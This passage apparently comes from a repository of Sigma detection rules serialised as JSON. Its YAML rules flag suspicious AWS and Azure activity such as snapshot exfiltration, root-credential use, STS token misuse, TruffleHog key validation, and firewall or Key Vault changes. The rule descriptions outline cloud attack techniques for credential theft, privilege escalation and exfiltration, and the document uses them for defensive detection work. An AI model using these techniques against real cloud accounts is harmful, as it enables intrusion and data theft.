activity.\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_rds_public_db_restore.yml",
"content": "title: Restore Public AWS RDS Instance\nid: c3f265c7-ff03-4056-8ab2-d486227b4599\nstatus: test\ndescription: Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py\nauthor: faloker\ndate: 2020-02-12\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\n - attack.t1020\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: rds.amazonaws.com\n responseElements.publiclyAccessible: 'true'\n eventName: RestoreDBInstanceFromDBSnapshot\n condition: selection_source\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_root_account_usage.yml",
"content": "title: AWS Root Credentials\nid: 8ad1600d-e9dc-4251-b0ee-a65268f29add\nstatus: test\ndescription: Detects AWS root account usage\nreferences:\n - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html\nauthor: vitaliy0x1\ndate: 2020-01-21\nmodified: 2022-10-09\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.initial-access\n - attack.persistence\n - attack.t1078.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_usertype:\n userIdentity.type: Root\n selection_eventtype:\n eventType: AwsServiceEvent\n condition: selection_usertype and not selection_eventtype\nfalsepositives:\n - AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_lock_disabled.yml",
"content": "title: AWS Route 53 Domain Transfer Lock Disabled\nid: 3940b5f1-3f46-44aa-b746-ebe615b879e0\nstatus: test\ndescription: Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.\nreferences:\n - https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml\n - https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html\n - https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html\nauthor: Elastic, Austin Songer @austinsonger\ndate: 2021-07-22\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.credential-access\n - attack.t1098\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: route53.amazonaws.com\n eventName: DisableDomainTransferLock\n condition: selection\nfalsepositives:\n - A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_to_another_account.yml",
"content": "title: AWS Route 53 Domain Transferred to Another Account\nid: b056de1a-6e6e-4e40-a67e-97c9808cf41b\nstatus: test\ndescription: Detects when a request has been made to transfer a Route 53 domain to another AWS account.\nreferences:\n - https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml\nauthor: Elastic, Austin Songer @austinsonger\ndate: 2021-07-22\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.credential-access\n - attack.privilege-escalation\n - attack.t1098\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: route53.amazonaws.com\n eventName: TransferDomainToAnotherAwsAccount\n condition: selection\nfalsepositives:\n - A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml",
"content": "title: AWS S3 Data Management Tampering\nid: 78b3756a-7804-4ef7-8555-7b9024a02e2d\nstatus: test\ndescription: Detects when a user tampers with S3 data management in Amazon Web Services.\nreferences:\n - https://github.com/elastic/detection-rules/pull/1145/files\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html\n - https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html\n - https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\n - attack.t1537\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: s3.amazonaws.com\n eventName:\n - PutBucketLogging\n - PutBucketWebsite\n - PutEncryptionConfiguration\n - PutLifecycleConfiguration\n - PutReplicationConfiguration\n - ReplicateObject\n - RestoreObject\n condition: selection\nfalsepositives:\n - A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_securityhub_finding_evasion.yml",
"content": "title: AWS SecurityHub Findings Evasion\nid: a607e1fe-74bf-4440-a3ec-b059b9103157\nstatus: stable\ndescription: Detects the modification of the findings on SecurityHub.\nreferences:\n - https://docs.aws.amazon.com/cli/latest/reference/securityhub/\nauthor: Sittikorn S\ndate: 2021-06-28\ntags:\n - attack.defense-evasion\n - attack.t1562\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: securityhub.amazonaws.com\n eventName:\n - 'BatchUpdateFindings'\n - 'DeleteInsight'\n - 'UpdateFindings'\n - 'UpdateInsight'\n condition: selection\nfalsepositives:\n - System or Network administrator behaviors\n - DEV, UAT, SAT environment. You should apply this rule with PROD environment only.\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_snapshot_backup_exfiltration.yml",
"content": "title: AWS Snapshot Backup Exfiltration\nid: abae8fec-57bd-4f87-aff6-6e3db989843d\nstatus: test\ndescription: Detects the modification of an EC2 snapshot's permissions to enable access from another account\nreferences:\n - https://www.justice.gov/file/1080281/download\nauthor: Darin Smith\ndate: 2021-05-17\nmodified: 2021-08-19\ntags:\n - attack.exfiltration\n - attack.t1537\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: ec2.amazonaws.com\n eventName: ModifySnapshotAttribute\n condition: selection_source\nfalsepositives:\n - Valid change to a snapshot's permissions\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_sso_idp_change.yml",
"content": "title: AWS Identity Center Identity Provider Change\nid: d3adb3ef-b7e7-4003-9092-1924c797db35\nstatus: test\ndescription: |\n Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider.\n A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.\nreferences:\n - https://docs.aws.amazon.com/singlesignon/latest/userguide/app-enablement.html\n - https://docs.aws.amazon.com/singlesignon/latest/userguide/sso-info-in-cloudtrail.html\n - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html\nauthor: Michael McIntyre @wtfender\ndate: 2023-09-27\ntags:\n - attack.persistence\n - attack.credential-access\n - attack.defense-evasion\n - attack.t1556\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource:\n - 'sso-directory.amazonaws.com'\n - 'sso.amazonaws.com'\n eventName:\n - 'AssociateDirectory'\n - 'DisableExternalIdPConfigurationForDirectory'\n - 'DisassociateDirectory'\n - 'EnableExternalIdPConfigurationForDirectory'\n condition: selection\nfalsepositives:\n - Authorized changes to the AWS account's identity provider\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_sts_assumerole_misuse.yml",
"content": "title: AWS STS AssumeRole Misuse\nid: 905d389b-b853-46d0-9d3d-dea0d3a3cd49\nstatus: test\ndescription: Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.\nreferences:\n - https://github.com/elastic/detection-rules/pull/1214\n - https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-10-09\ntags:\n - attack.lateral-movement\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1548\n - attack.t1550\n - attack.t1550.001\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n userIdentity.type: AssumedRole\n userIdentity.sessionContext.sessionIssuer.type: Role\n condition: selection\nfalsepositives:\n - AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\n - Automated processes that uses Terraform may lead to false positives.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_sts_getcalleridentity_trufflehog.yml",
"content": "title: AWS STS GetCallerIdentity Enumeration Via TruffleHog\nid: 9b1b8e9b-0a5d-4af1-9d2f-4c4b6e7c2c9d\nstatus: experimental\ndescription: |\n Detects the use of TruffleHog for AWS credential validation by identifying GetCallerIdentity API calls where the userAgent indicates TruffleHog.\n Threat actors leverage TruffleHog to enumerate and validate exposed AWS keys.\n Successful exploitation allows threat actors to confirm the validity of compromised AWS credentials, facilitating further unauthorized access and actions within the AWS environment.\nreferences:\n - https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/\n - https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html\n - https://github.com/trufflesecurity/trufflehog\nauthor: Adan Alvarez @adanalvarez\ndate: 2025-10-12\ntags:\n - attack.discovery\n - attack.t1087.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'sts.amazonaws.com'\n eventName: 'GetCallerIdentity'\n userAgent|contains: 'TruffleHog'\n condition: selection\nfalsepositives:\n - Legitimate internal security scanning or key validation that intentionally uses TruffleHog. Authorize and filter known scanner roles, IP ranges, or assumed roles as needed.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml",
"content": "title: AWS STS GetSessionToken Misuse\nid: b45ab1d2-712f-4f01-a751-df3826969807\nstatus: test\ndescription: Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.\nreferences:\n - https://github.com/elastic/detection-rules/pull/1213\n - https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-10-09\ntags:\n - attack.lateral-movement\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1548\n - attack.t1550\n - attack.t1550.001\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: sts.amazonaws.com\n eventName: GetSessionToken\n userIdentity.type: IAMUser\n condition: selection\nfalsepositives:\n - GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml",
"content": "title: AWS Suspicious SAML Activity\nid: f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e\nstatus: test\ndescription: Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.\nreferences:\n - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html\n - https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html\nauthor: Austin Songer\ndate: 2021-09-22\nmodified: 2022-12-18\ntags:\n - attack.defense-evasion\n - attack.initial-access\n - attack.lateral-movement\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1078\n - attack.t1548\n - attack.t1550\n - attack.t1550.001\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_sts:\n eventSource: 'sts.amazonaws.com'\n eventName: 'AssumeRoleWithSAML'\n selection_iam:\n eventSource: 'iam.amazonaws.com'\n eventName: 'UpdateSAMLProvider'\n condition: 1 of selection_*\nfalsepositives:\n - Automated processes that uses Terraform may lead to false positives.\n - SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_update_login_profile.yml",
"content": "title: AWS User Login Profile Was Modified\nid: 055fb148-60f8-462d-ad16-26926ce050f1\nstatus: test\ndescription: |\n Detects activity when someone is changing passwords on behalf of other users.\n An attacker with the \"iam:UpdateLoginProfile\" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nreferences:\n - https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation\nauthor: toffeebr33k\ndate: 2021-08-09\nmodified: 2024-04-26\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'iam.amazonaws.com'\n eventName: 'UpdateLoginProfile'\n filter_main_user_identity:\n userIdentity.arn|fieldref: requestParameters.userName\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Legitimate user account administration\nlevel: high\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml",
"content": "title: Azure Active Directory Hybrid Health AD FS New Server\nid: 288a39fc-4914-4831-9ada-270e9dc12cb4\nstatus: test\ndescription: |\n This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\n A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\n This can be done programmatically via HTTP requests to Azure.\nreferences:\n - https://o365blog.com/post/hybridhealthagent/\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-08-26\nmodified: 2023-10-11\ntags:\n - attack.defense-evasion\n - attack.t1578\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n CategoryValue: 'Administrative'\n ResourceProviderValue: 'Microsoft.ADHybridHealthService'\n ResourceId|contains: 'AdFederationService'\n OperationNameValue: 'Microsoft.ADHybridHealthService/services/servicemembers/action'\n condition: selection\nfalsepositives:\n - Legitimate AD FS servers added to an AAD Health AD FS service instance\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml",
"content": "title: Azure Active Directory Hybrid Health AD FS Service Delete\nid: 48739819-8230-4ee3-a8ea-e0289d1fb0ff\nstatus: test\ndescription: |\n This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\n A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\n The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\nreferences:\n - https://o365blog.com/post/hybridhealthagent/\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-08-26\nmodified: 2023-10-11\ntags:\n - attack.defense-evasion\n - attack.t1578.003\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n CategoryValue: 'Administrative'\n ResourceProviderValue: 'Microsoft.ADHybridHealthService'\n ResourceId|contains: 'AdFederationService'\n OperationNameValue: 'Microsoft.ADHybridHealthService/services/delete'\n condition: selection\nfalsepositives:\n - Legitimate AAD Health AD FS service instances being deleted in a tenant\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_ad_user_added_to_admin_role.yml",
"content": "title: User Added to an Administrator's Azure AD Role\nid: ebbeb024-5b1d-4e16-9c0c-917f86c708a7\nstatus: test\ndescription: User Added to an Administrator's Azure AD Role\nreferences:\n - https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/\nauthor: Raphaël CALVET, @MetallicHack\ndate: 2021-10-04\nmodified: 2022-10-09\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098.003\n - attack.t1078\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n Operation: 'Add member to role.'\n Workload: 'AzureActiveDirectory'\n ModifiedProperties{}.NewValue|endswith:\n - 'Admins'\n - 'Administrator'\n condition: selection\nfalsepositives:\n - PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_application_deleted.yml",
"content": "title: Azure Application Deleted\nid: 410d2a41-1e6d-452f-85e5-abdd8257a823\nstatus: test\ndescription: Identifies when a application is deleted in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy\nauthor: Austin Songer @austinsonger\ndate: 2021-09-03\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.impact\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message:\n - Delete application\n - Hard Delete application\n condition: selection\nfalsepositives:\n - Application being deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_application_gateway_modified_or_deleted.yml",
"content": "title: Azure Application Gateway Modified or Deleted\nid: ad87d14e-7599-4633-ba81-aeb60cfe8cd6\nstatus: test\ndescription: Identifies when a application gateway is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/APPLICATIONGATEWAYS/WRITE\n - MICROSOFT.NETWORK/APPLICATIONGATEWAYS/DELETE\n condition: selection\nfalsepositives:\n - Application gateway being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_application_security_group_modified_or_deleted.yml",
"content": "title: Azure Application Security Group Modified or Deleted\nid: 835747f1-9329-40b5-9cc3-97d465754ce6\nstatus: test\ndescription: Identifies when a application security group is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/APPLICATIONSECURITYGROUPS/WRITE\n - MICROSOFT.NETWORK/APPLICATIONSECURITYGROUPS/DELETE\n condition: selection\nfalsepositives:\n - Application security group being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml",
"content": "title: Azure Container Registry Created or Deleted\nid: 93e0ef48-37c8-49ed-a02c-038aab23628e\nstatus: test\ndescription: Detects when a Container Registry is created or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n - https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/\n - https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n - https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1\nauthor: Austin Songer @austinsonger\ndate: 2021-08-07\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1485\n - attack.t1496\n - attack.t1489\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.CONTAINERREGISTRY/REGISTRIES/WRITE\n - MICROSOFT.CONTAINERREGISTRY/REGISTRIES/DELETE\n condition: selection\nfalsepositives:\n - Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_creating_number_of_resources_detection.yml",
"content": "title: Number Of Resource Creation Or Deployment Activities\nid: d2d901db-7a75-45a1-bc39-0cbf00812192\nstatus: test\ndescription: Number of VM creations or deployment activities occur in Azure via the azureactivity log.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml\nauthor: sawwinnnaung\ndate: 2020-05-07\nmodified: 2023-10-11\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n keywords:\n - Microsoft.Compute/virtualMachines/write\n - Microsoft.Resources/deployments/write\n condition: keywords\nfalsepositives:\n - Valid change\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_device_no_longer_managed_or_compliant.yml",
"content": "title: Azure Device No Longer Managed or Compliant\nid: 542b9912-c01f-4e3f-89a8-014c48cdca7d\nstatus: test\ndescription: Identifies when a device in azure is no longer managed or compliant\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory\nauthor: Austin Songer @austinsonger\ndate: 2021-09-03\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message:\n - Device no longer compliant\n - Device no longer managed\n condition: selection\nfalsepositives:\n - Administrator may have forgotten to review the device.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_device_or_configuration_modified_or_deleted.yml",
"content": "title: Azure Device or Configuration Modified or Deleted\nid: 46530378-f9db-4af9-a9e5-889c177d3881\nstatus: test\ndescription: Identifies when a device or device configuration in azure is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory\nauthor: Austin Songer @austinsonger\ndate: 2021-09-03\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1485\n - attack.t1565.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n properties.message:\n - Delete device\n - Delete device configuration\n - Update device\n - Update device configuration\n condition: selection\nfalsepositives:\n - Device or device configuration being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_dns_zone_modified_or_deleted.yml",
"content": "title: Azure DNS Zone Modified or Deleted\nid: af6925b0-8826-47f1-9324-337507a0babd\nstatus: test\ndescription: Identifies when DNS zone is modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.t1565.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName|startswith: 'MICROSOFT.NETWORK/DNSZONES'\n operationName|endswith:\n - '/WRITE'\n - '/DELETE'\n condition: selection\nfalsepositives:\n - DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_firewall_modified_or_deleted.yml",
"content": "title: Azure Firewall Modified or Deleted\nid: 512cf937-ea9b-4332-939c-4c2c94baadcd\nstatus: test\ndescription: Identifies when a firewall is created, modified, or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/AZUREFIREWALLS/WRITE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/DELETE\n condition: selection\nfalsepositives:\n - Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_firewall_rule_collection_modified_or_deleted.yml",
"content": "title: Azure Firewall Rule Collection Modified or Deleted\nid: 025c9fe7-db72-49f9-af0d-31341dd7dd57\nstatus: test\ndescription: Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-08\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.NETWORK/AZUREFIREWALLS/APPLICATIONRULECOLLECTIONS/WRITE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/APPLICATIONRULECOLLECTIONS/DELETE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/NATRULECOLLECTIONS/WRITE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/NATRULECOLLECTIONS/DELETE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/NETWORKRULECOLLECTIONS/WRITE\n - MICROSOFT.NETWORK/AZUREFIREWALLS/NETWORKRULECOLLECTIONS/DELETE\n condition: selection\nfalsepositives:\n - Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_granting_permission_detection.yml",
"content": "title: Granting Of Permissions To An Account\nid: a622fcd2-4b5a-436a-b8a2-a4171161833c\nstatus: test\ndescription: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml\nauthor: sawwinnnaung\ndate: 2020-05-07\nmodified: 2023-10-11\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098.003\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n keywords:\n - Microsoft.Authorization/roleAssignments/write\n condition: keywords\nfalsepositives:\n - Valid change\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_keyvault_key_modified_or_deleted.yml",
"content": "title: Azure Keyvault Key Modified or Deleted\nid: 80eeab92-0979-4152-942d-96749e11df40\nstatus: test\ndescription: Identifies when a Keyvault Key is modified or deleted in Azure.\nreferences:\n - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations\nauthor: Austin Songer @austinsonger\ndate: 2021-08-16\nmodified: 2022-08-23\ntags:\n - attack.impact\n - attack.credential-access\n - attack.t1552\n - attack.t1552.001\nlogsource:\n product: azure\n service: activitylogs\ndetection:\n selection:\n operationName:\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/UPDATE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/CREATE\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/CREATE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/IMPORT/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/RECOVER/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/RESTORE/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/DELETE\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/BACKUP/ACTION\n - MICROSOFT.KEYVAULT/VAULTS/KEYS/PURGE/ACTION\n condition: selection\nfalsepositives:\n - Key being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/azure/activity_logs/azure_keyvault_modified_or_deleted.yml",
